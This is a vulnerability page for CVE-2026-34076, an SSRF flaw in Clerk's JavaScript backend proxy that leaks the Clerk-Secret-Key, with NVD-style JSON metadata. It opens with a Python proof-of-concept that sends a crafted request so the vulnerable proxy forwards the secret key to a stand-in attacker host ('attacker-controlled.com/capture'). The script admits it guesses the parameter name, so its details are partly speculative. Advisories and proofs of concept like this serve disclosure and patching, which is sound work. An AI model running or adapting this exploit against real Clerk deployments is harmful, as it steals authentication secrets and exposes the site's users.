CVE-2026-34076

// PoC Concept: Triggering the SSRF to leak the secret key // This script demonstrates how an attacker might craft a request // to exploit the vulnerable clerkFrontendApiProxy function. import requests def exploit_ssrf(target_host, attacker_server): # The vulnerable endpoint typically processes paths or query parameters # to determine where to proxy the request. vulnerable_endpoint = f"{target_host}/clerk/frontend_api_proxy" # The payload is the attacker's server URL where the secret key will be sent. # The exact parameter name ('path' or 'url') depends on the implementation. params = { "path": attacker_server } print(f"[*] Sending malicious request to {vulnerable_endpoint}...") try: # Send the request. No authentication is required (PR:N). response = requests.get(vulnerable_endpoint, params=params, timeout=5) # The vulnerable server makes a backend request to 'attacker_server' # including the 'Clerk-Secret-Key' header. print(f"[+] Request sent. Check your server logs at {attacker_server} for the leaked key.") except requests.exceptions.RequestException as e: print(f"[-] Error during exploit: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:3000" evil_server = "http://attacker-controlled.com/capture" exploit_ssrf(target, evil_server)

{"cve": {"id": "CVE-2026-34076", "sourceIdentifier": "[email protected]", "published": "2026-04-01T18:16:29.527", "lastModified": "2026-04-29T20:58:46.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Clerk JavaScript is the official JavaScript repository for Clerk authentication. In @clerk/hono from versions 0.1.0 to before 0.1.5, @clerk/express from versions 2.0.0 to before 2.0.7, @clerk/backend from versions 3.0.0 to before 3.2.3, and @clerk/fastify from versions 3.1.0 to before 3.1.5, the clerkFrontendApiProxy function in @clerk/backend is vulnerable to Server-Side Request Forgery (SSRF). An unauthenticated attacker can craft a request path that causes the proxy to send the application's Clerk-Secret-Key to an attacker-controlled server. This issue has been patched in @clerk/hono version 0.1.5, @clerk/express version 2.0.7, @clerk/backend version 3.2.3, and @clerk/fastify version 3.1.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/clerk/javascript/security/advisories/GHSA-gjxx-92w9-8v8f", "source": "[email protected]"}]}}